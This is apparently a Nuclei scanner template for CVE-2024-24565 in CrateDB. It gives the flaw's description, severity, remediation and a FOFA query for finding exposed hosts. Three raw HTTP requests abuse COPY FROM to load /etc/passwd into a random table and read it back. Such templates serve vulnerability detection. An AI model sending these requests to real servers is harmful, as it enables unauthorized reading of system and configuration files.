CrateDB Database - Arbitrary File Read

id: CVE-2024-24565

info:
  name: CrateDB Database - Arbitrary File Read
  author: DhiyaneshDK
  severity: medium
  description: |
    CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
  impact: |
    Authenticated attackers can read arbitrary files on the server including sensitive configuration files and system files.
  remediation: |
    Update CrateDB to a version that addresses CVE-2024-24565.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-24565
    cwe-id: CWE-22
    epss-score: 0.03084
    epss-percentile: 0.87805
    cpe: cpe:2.3:a:cratedb:cratedb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cratedb
    product: cratedb
    fofa-query: title="CrateDB"
  tags: cve,cve2024,cratedb,lfi,exposure,intrusive,vuln

variables:
  table_name: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"CREATE TABLE {{table_name}}(info_leak STRING)"}

      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"}

      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"SELECT * FROM {{table_name}} limit 100"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body_3)
          - "contains_all(header, 'application/json')"
          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200"
        condition: and